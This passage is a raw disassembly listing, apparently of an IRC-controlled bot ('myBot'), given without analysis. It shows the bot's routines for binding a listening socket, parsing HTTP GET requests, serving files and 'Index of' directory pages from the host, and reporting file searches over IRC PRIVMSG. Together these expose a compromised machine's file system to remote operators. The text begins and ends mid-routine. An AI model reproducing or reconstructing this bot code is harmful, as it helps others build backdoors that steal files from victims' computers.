dword_438A14 call ds:dword_41F1D0 ; send push 1 call ds:dword_41F050 ; Sleep test byte ptr [esi+0Ch], 10h jz short loc_40489A pop edi loc_4048D2: ; CODE XREF: sub_404857+3Bj push esi call sub_414E31 pop ecx push dword_438A14 call ds:dword_41F1E8 ; closesocket call ds:dword_41F1AC ; WSACleanup push 1 pop eax loc_4048EE: ; CODE XREF: sub_404857+35j pop esi leave retn sub_404857 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4048F1 proc near ; DATA XREF: sub_406059+333o ; sub_40CC09+4BDFo var_27F0 = byte ptr -27F0h var_17F0 = byte ptr -17F0h var_7F0 = byte ptr -7F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 27F0h call sub_413E60 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_413890 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_44CCDC ; ntohs push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_44CD58 ; socket mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_404CDC mov eax, [ebp+var_254] push 10h imul eax, 134h mov dword_452134[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_44CD08 ; bind cmp eax, 0FFFFFFFFh jz loc_404CDC push 7FFFFFFFh push edi call dword_44CD04 ; listen cmp eax, 0FFFFFFFFh jz loc_404CDC lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_44CD74 ; ioctlsocket cmp eax, 0FFFFFFFFh jz loc_404CDC mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_4049C8: ; CODE XREF: sub_4048F1+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_44CCC4 ; select cmp eax, 0FFFFFFFFh jz loc_404CD7 xor esi, esi mov [ebp+var_4], esi loc_4049FE: ; CODE XREF: sub_4048F1+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_44CBE4 ; __WSAFDIsSet test eax, eax jz loc_404CC2 cmp esi, [ebp+var_C] jnz short loc_404A80 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_44CD6C ; accept cmp eax, 0FFFFFFFFh jz loc_404CC2 xor ecx, ecx test ebx, ebx jbe short loc_404A52 lea edx, [ebp+var_134] loc_404A46: ; CODE XREF: sub_4048F1+15Fj cmp [edx], eax jz short loc_404A52 inc ecx add edx, 4 cmp ecx, ebx jb short loc_404A46 loc_404A52: ; CODE XREF: sub_4048F1+14Dj ; sub_4048F1+157j cmp ecx, ebx jnz short loc_404A6F cmp ebx, 40h jnb short loc_404A6F mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_404A6F: ; CODE XREF: sub_4048F1+163j ; sub_4048F1+168j cmp eax, [ebp+var_8] jbe loc_404CC2 mov [ebp+var_8], eax jmp loc_404CC2 ; --------------------------------------------------------------------------- loc_404A80: ; CODE XREF: sub_4048F1+126j mov edi, 1000h lea eax, [ebp+var_27F0] push edi push 0 push eax call sub_413890 push edi lea eax, [ebp+var_17F0] push 0 push eax call sub_413890 add esp, 18h lea eax, [ebp+var_27F0] push 0 push edi push eax push esi call dword_44CCF4 ; recv test eax, eax jg short loc_404B13 push esi call dword_44CD70 ; closesocket xor ecx, ecx test ebx, ebx jbe loc_404CC2 lea eax, [ebp+var_134] loc_404AD2: ; CODE XREF: sub_4048F1+1EBj cmp [eax], esi jz short loc_404AE3 inc ecx add eax, 4 cmp ecx, ebx jb short loc_404AD2 jmp loc_404CC2 ; --------------------------------------------------------------------------- loc_404AE3: ; CODE XREF: sub_4048F1+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_404B07 lea eax, [ebp+ecx*4+var_134] loc_404AF1: ; CODE XREF: sub_4048F1+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_404AF1 loc_404B07: ; CODE XREF: sub_4048F1+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_404CC2 ; --------------------------------------------------------------------------- loc_404B13: ; CODE XREF: sub_4048F1+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_413890 lea eax, [ebp+var_27F0] mov [ebp+arg_0], esi push eax call sub_413E90 add esp, 10h test eax, eax jbe loc_404CC2 loc_404B41: ; CODE XREF: sub_4048F1+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_27F0] cmp al, 0Ah mov [ebp+esi+var_17F0], al jnz loc_404BE6 mov esi, offset aGet ; "GET " lea eax, [ebp+var_17F0] push esi push eax call sub_413DE0 pop ecx test eax, eax pop ecx jz short loc_404BBA lea eax, [ebp+var_17F0] push eax call sub_413E90 cmp eax, 5 pop ecx jbe short loc_404BBA mov eax, offset asc_425148 ; " " push eax push eax lea eax, [ebp+var_17F0] push esi push eax call sub_413DE0 pop ecx pop ecx push eax call sub_413DE0 pop ecx pop ecx push eax call sub_4150A0 push eax lea eax, [ebp+var_23C] push eax call sub_414FB0 add esp, 10h jmp short loc_404BD1 ; --------------------------------------------------------------------------- loc_404BBA: ; CODE XREF: sub_4048F1+27Fj ; sub_4048F1+291j lea eax, [ebp+var_17F0] push offset asc_425144 ; "\r\n" push eax call sub_413C30 pop ecx test eax, eax pop ecx jz short loc_404C05 loc_404BD1: ; CODE XREF: sub_4048F1+2C7j push edi lea eax, [ebp+var_17F0] push 0 push eax call sub_413890 add esp, 0Ch or esi, 0FFFFFFFFh loc_404BE6: ; CODE XREF: sub_4048F1+263j inc [ebp+arg_0] lea eax, [ebp+var_27F0] push eax inc esi call sub_413E90 cmp [ebp+arg_0], eax pop ecx jb loc_404B41 jmp loc_404CC2 ; --------------------------------------------------------------------------- loc_404C05: ; CODE XREF: sub_4048F1+2DEj xor ecx, ecx test ebx, ebx jbe short loc_404C4F lea eax, [ebp+var_134] loc_404C11: ; CODE XREF: sub_4048F1+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_404C22 inc ecx add eax, 4 cmp ecx, ebx jb short loc_404C11 jmp short loc_404C52 ; --------------------------------------------------------------------------- loc_404C22: ; CODE XREF: sub_4048F1+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_404C46 lea eax, [ebp+ecx*4+var_134] loc_404C30: ; CODE XREF: sub_4048F1+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_404C30 loc_404C46: ; CODE XREF: sub_4048F1+336j dec ebx mov [ebp+var_138], ebx jmp short loc_404C52 ; --------------------------------------------------------------------------- loc_404C4F: ; CODE XREF: sub_4048F1+318j mov esi, [ebp+var_4] loc_404C52: ; CODE XREF: sub_4048F1+32Fj ; sub_4048F1+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_404CBB lea eax, [ebp+var_360] push eax call sub_413E90 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_413E90 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_404CBB and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_44CD74 ; ioctlsocket push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_404ECE add esp, 14h jmp short loc_404CC2 ; --------------------------------------------------------------------------- loc_404CBB: ; CODE XREF: sub_4048F1+369j ; sub_4048F1+38Fj push esi call dword_44CD70 ; closesocket loc_404CC2: ; CODE XREF: sub_4048F1+11Dj ; sub_4048F1+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_4049FE jmp loc_4049C8 ; --------------------------------------------------------------------------- loc_404CD7: ; CODE XREF: sub_4048F1+102j mov edi, [ebp+var_C] xor ebx, ebx loc_404CDC: ; CODE XREF: sub_4048F1+6Aj ; sub_4048F1+92j ... call dword_44CC78 ; WSAGetLastError push eax lea eax, [ebp+var_7F0] push offset unk_425100 push eax call sub_413812 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_404D22 push ebx lea eax, [ebp+var_7F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_40B2B5 add esp, 14h loc_404D22: ; CODE XREF: sub_4048F1+40Cj lea eax, [ebp+var_7F0] push eax call sub_409833 pop ecx push edi call dword_44CD70 ; closesocket push [ebp+var_254] call sub_4135DA pop ecx push ebx call ds:off_41F040 pop edi pop esi pop ebx sub_4048F1 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404D4C proc near ; DATA XREF: sub_404ECE+246o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_413E60 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_413812 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_413812 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_404DB1 push offset aTextHtml ; "text/html" jmp short loc_404DB6 ; --------------------------------------------------------------------------- loc_404DB1: ; CODE XREF: sub_404D4C+5Cj push offset aApplicationOct ; "application/octet-stream" loc_404DB6: ; CODE XREF: sub_404D4C+63j lea eax, [ebp+var_9C] push eax call sub_413812 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call ds:off_41F068 lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call ds:off_41F064 lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_404E2F lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_413812 add esp, 24h jmp short loc_404E50 ; --------------------------------------------------------------------------- loc_404E2F: ; CODE XREF: sub_404D4C+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_413812 add esp, 28h loc_404E50: ; CODE XREF: sub_404D4C+E1j lea eax, [ebp+var_1654] push edi push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_44CD28 ; send cmp [ebp+var_A4], edi jnz short loc_404E90 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_405815 pop ecx pop ecx jmp short loc_404EAD ; --------------------------------------------------------------------------- loc_404E90: ; CODE XREF: sub_404D4C+12Cj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40517E add esp, 10h loc_404EAD: ; CODE XREF: sub_404D4C+142j push [ebp+var_44C] call dword_44CD70 ; closesocket push [ebp+var_B4] call sub_4135DA pop ecx push edi call ds:off_41F040 pop edi pop esi sub_404D4C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404ECE proc near ; CODE XREF: sub_4048F1+3C0p var_7C4 = dword ptr -7C4h var_740 = byte ptr -740h var_63C = byte ptr -63Ch var_430 = dword ptr -430h var_42C = dword ptr -42Ch var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = byte ptr -414h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 7C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_413890 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_404F04 push eax push offset off_42540C jmp short loc_404F0D ; --------------------------------------------------------------------------- loc_404F04: ; CODE XREF: sub_404ECE+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_2 ; "%s" loc_404F0D: ; CODE XREF: sub_404ECE+34j lea eax, [ebp+var_10C] push eax call sub_413812 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_413E90 test eax, eax pop ecx jbe short loc_404FA8 mov [ebp+arg_8], 2 loc_404F38: ; CODE XREF: sub_404ECE+D8j lea eax, [ebp+var_10C] push eax call sub_413E90 cmp [ebp+arg_8], eax pop ecx jnb short loc_404F78 cmp [ebp+esi+var_10C], 25h jnz short loc_404F78 cmp [ebp+esi+var_10B], 32h jnz short loc_404F78 cmp [ebp+esi+var_10A], 30h jnz short loc_404F78 inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_404F92 ; --------------------------------------------------------------------------- loc_404F78: ; CODE XREF: sub_404ECE+7Aj ; sub_404ECE+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_404F88 push 5Ch pop eax jmp short loc_404F8B ; --------------------------------------------------------------------------- loc_404F88: ; CODE XREF: sub_404ECE+B3j movsx eax, al loc_404F8B: ; CODE XREF: sub_404ECE+B8j mov [ebp+ebx+var_210], al loc_404F92: ; CODE XREF: sub_404ECE+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_413E90 cmp esi, eax pop ecx jb short loc_404F38 loc_404FA8: ; CODE XREF: sub_404ECE+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset aSS_0 ; "%s%s" push eax call sub_413812 lea eax, [ebp+var_314] push offset asc_4253FC ; "\n" push eax call sub_4150A0 add esp, 18h lea eax, [ebp+var_314] push eax call ds:dword_41F078 ; GetFileAttributesA push 1 cmp eax, 10h pop esi jz short loc_404FF6 cmp eax, 0FFFFFFFFh jnz short loc_404FF9 push [ebp+arg_0] jmp short loc_405075 ; --------------------------------------------------------------------------- loc_404FF6: ; CODE XREF: sub_404ECE+11Cj mov [ebp+var_4], esi loc_404FF9: ; CODE XREF: sub_404ECE+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_405006 mov [ebp+var_4], esi loc_405006: ; CODE XREF: sub_404ECE+133j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_7C4], ebx mov [ebp+var_418], edi jz short loc_405080 cmp [ebp+arg_C], edi jz short loc_405074 lea eax, [ebp+var_314] push offset asc_4253F8 ; "*" push eax call sub_414FC0 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_740] push eax call sub_413812 lea eax, [ebp+var_210] push eax call sub_4058D2 lea eax, [ebp+var_210] push eax lea eax, [ebp+var_63C] push eax call sub_413812 add esp, 1Ch or [ebp+var_430], 0FFFFFFFFh mov [ebp+var_41C], esi jmp short loc_4050CF ; --------------------------------------------------------------------------- loc_405074: ; CODE XREF: sub_404ECE+14Fj push ebx loc_405075: ; CODE XREF: sub_404ECE+126j call dword_44CD70 ; closesocket jmp loc_405177 ; --------------------------------------------------------------------------- loc_405080: ; CODE XREF: sub_404ECE+14Aj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call ds:dword_41F05C ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_4050CF lea eax, [ebp+var_314] push eax lea eax, [ebp+var_740] push eax call sub_413812 pop ecx mov [ebp+var_41C], edi pop ecx push edi push esi call ds:off_41F074 push esi mov [ebp+var_430], eax call ds:dword_41F058 ; CloseHandle loc_4050CF: ; CODE XREF: sub_404ECE+1A4j ; sub_404ECE+1CFj mov esi, [ebp+arg_10] lea eax, [ebp+var_414] push esi push offset unk_4253B4 push eax call sub_413812 push edi lea eax, [ebp+var_414] push 3 push eax call sub_4132BE mov [ebp+var_42C], eax imul eax, 134h add esp, 18h mov dword_45212C[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_7C4] push edi push eax push offset sub_404D4C push edi push edi call ds:off_41F070 mov ecx, [ebp+var_42C] imul ecx, 134h cmp eax, edi mov dword_45213C[ecx], eax jz short loc_405149 loc_405137: ; CODE XREF: sub_404ECE+279j cmp [ebp+var_418], edi jnz short loc_405177 push 5 call ds:dword_41F050 ; Sleep jmp short loc_405137 ; --------------------------------------------------------------------------- loc_405149: ; CODE XREF: sub_404ECE+267j push ebx call dword_44CD70 ; closesocket call ds:off_41F06C push eax lea eax, [ebp+var_414] push offset unk_425368 push eax call sub_413812 lea eax, [ebp+var_414] push eax call sub_409833 add esp, 10h loc_405177: ; CODE XREF: sub_404ECE+1ADj ; sub_404ECE+26Fj pop edi pop esi xor eax, eax pop ebx leave retn sub_404ECE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40517E proc near ; CODE XREF: sub_404D4C+159p ; sub_40CC09+4194p var_494 = byte ptr -494h var_390 = byte ptr -390h var_288 = dword ptr -288h var_274 = byte ptr -274h var_268 = dword ptr -268h var_25C = byte ptr -25Ch var_148 = byte ptr -148h var_120 = byte ptr -120h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 494h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_494] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_413890 mov edi, [ebp+arg_0] push offset asc_4253FC ; "\n" push edi call sub_4150A0 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_4051DD push edi mov esi, 0FFh push [ebp+arg_8] lea eax, [ebp+var_120] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_413D8A add esp, 14h jmp loc_4052DA ; --------------------------------------------------------------------------- loc_4051DD: ; CODE XREF: sub_40517E+3Aj cmp [ebp+arg_C], ebx push edi jz loc_4052C0 call sub_413E90 mov [eax+edi-1], bl push edi mov esi, 0FFh push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_120] push esi push eax call sub_413D8A add esp, 14h lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_120] push esi push eax call sub_413D8A add esp, 10h lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send push edi call sub_413E90 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_120] push esi push eax call sub_413D8A add esp, 1Ch lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_120] push esi push eax call sub_413D8A add esp, 0Ch jmp short loc_4052DA ; --------------------------------------------------------------------------- loc_4052C0: ; CODE XREF: sub_40517E+63j mov esi, 0FFh push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_120] push esi push eax call sub_413D8A add esp, 10h loc_4052DA: ; CODE XREF: sub_40517E+5Aj ; sub_40517E+140j lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send cmp [ebp+arg_C], ebx jz short loc_405372 push [ebp+arg_C] call sub_413E90 cmp eax, 2 pop ecx jbe short loc_405372 push [ebp+arg_C] call sub_413E90 sub eax, 3 pop ecx jz short loc_405326 loc_40531A: ; CODE XREF: sub_40517E+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_405326 dec eax jnz short loc_40531A loc_405326: ; CODE XREF: sub_40517E+19Aj ; sub_40517E+1A3j inc eax push eax lea eax, [ebp+var_494] push [ebp+arg_C] push eax call sub_415140 lea eax, [ebp+var_494] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_120] push esi push eax call sub_413D8A add esp, 1Ch lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send loc_405372: ; CODE XREF: sub_40517E+17Ej ; sub_40517E+18Cj lea eax, [ebp+var_288] push eax push edi call ds:off_41F08C lea ecx, [ebp+var_288] mov [ebp+arg_0], eax push ecx push eax call ds:off_41F088 test eax, eax jz loc_405778 mov edi, 0FEh loc_40539E: ; CODE XREF: sub_40517E+5F4j cmp [ebp+var_288], ebx jz loc_405760 lea eax, [ebp+var_25C] push offset a__ ; ".." push eax call sub_413C30 pop ecx test eax, eax pop ecx jz loc_405760 lea eax, [ebp+var_25C] push offset a_ ; "." push eax call sub_413C30 pop ecx test eax, eax pop ecx jz loc_405760 lea eax, [ebp+var_20] push eax lea eax, [ebp+var_274] push eax call ds:off_41F084 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call ds:off_41F080 mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_405413 mov ecx, offset aAm ; "AM" loc_405413: ; CODE XREF: sub_40517E+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_40541F sub eax, 0Ch loc_40541F: ; CODE XREF: sub_40517E+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_148] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_413812 add esp, 20h test byte ptr [ebp+var_288], 10h jz loc_4055D8 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_4054A6 lea eax, [ebp+var_25C] push eax push offset aS_1 ; "<%s>" lea eax, [ebp+var_390] push 106h push eax call sub_413D8A lea eax, [ebp+var_148] push eax lea eax, [ebp+var_390] push eax lea eax, [ebp+var_120] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_413D8A add esp, 28h jmp loc_405731 ; --------------------------------------------------------------------------- loc_4054A6: ; CODE XREF: sub_40517E+2DEj cmp [ebp+arg_C], ebx jz loc_405593 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_120] push edi push eax call sub_413D8A add esp, 10h lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send lea eax, [ebp+var_25C] push eax lea eax, [ebp+var_120] push [ebp+arg_C] push offset aSS_1 ; "%s%s/" push edi push eax call sub_413D8A add esp, 14h lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send lea eax, [ebp+var_25C] push eax call sub_413E90 cmp eax, 1Eh pop ecx lea eax, [ebp+var_25C] push eax jbe short loc_405546 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40554B ; --------------------------------------------------------------------------- loc_405546: ; CODE XREF: sub_40517E+3BFj push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40554B: ; CODE XREF: sub_40517E+3C6j lea eax, [ebp+var_120] push edi push eax call sub_413D8A add esp, 10h lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send lea eax, [ebp+var_148] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_405722 ; --------------------------------------------------------------------------- loc_405593: ; CODE XREF: sub_40517E+32Bj lea eax, [ebp+var_25C] push eax push offset aS_1 ; "<%s>" lea eax, [ebp+var_390] push 106h push eax call sub_413D8A lea eax, [ebp+var_148] push eax lea eax, [ebp+var_390] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_4055C3: ; CODE XREF: sub_40517E+485j lea eax, [ebp+var_120] push esi push eax call sub_413D8A add esp, 24h jmp loc_405731 ; --------------------------------------------------------------------------- loc_4055D8: ; CODE XREF: sub_40517E+2D2j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_405605 push ebx push [ebp+var_268] call sub_40A927 push eax lea eax, [ebp+var_148] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_4055C3 ; --------------------------------------------------------------------------- loc_405605: ; CODE XREF: sub_40517E+460j cmp [ebp+arg_C], ebx jz loc_405708 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_120] push edi push eax call sub_413D8A add esp, 10h lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send lea eax, [ebp+var_25C] push eax lea eax, [ebp+var_120] push [ebp+arg_C] push offset aSS_0 ; "%s%s" push edi push eax call sub_413D8A add esp, 14h lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send lea eax, [ebp+var_25C] push eax call sub_413E90 cmp eax, 1Fh pop ecx lea eax, [ebp+var_25C] push eax jbe short loc_4056A5 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_4056AA ; --------------------------------------------------------------------------- loc_4056A5: ; CODE XREF: sub_40517E+51Ej push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_4056AA: ; CODE XREF: sub_40517E+525j lea eax, [ebp+var_120] push edi push eax call sub_413D8A add esp, 10h lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send mov eax, [ebp+var_268] shr eax, 0Ah push eax lea eax, [ebp+var_148] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_120] push edi push eax call sub_413D8A add esp, 1Ch jmp short loc_405731 ; --------------------------------------------------------------------------- loc_405708: ; CODE XREF: sub_40517E+48Aj push [ebp+var_268] lea eax, [ebp+var_148] push eax lea eax, [ebp+var_25C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_405722: ; CODE XREF: sub_40517E+410j lea eax, [ebp+var_120] push eax call sub_413D8A add esp, 18h loc_405731: ; CODE XREF: sub_40517E+323j ; sub_40517E+455j ... lea eax, [ebp+var_120] push ebx push eax call sub_413E90 pop ecx push eax lea eax, [ebp+var_120] push eax push [ebp+arg_4] call dword_44CD28 ; send cmp [ebp+arg_8], ebx jz short loc_405760 push 7D0h call ds:dword_41F050 ; Sleep loc_405760: ; CODE XREF: sub_40517E+226j ; sub_40517E+241j ... lea eax, [ebp+var_288] push eax push [ebp+arg_0] call ds:off_41F088 test eax, eax jnz loc_40539E loc_405778: ; 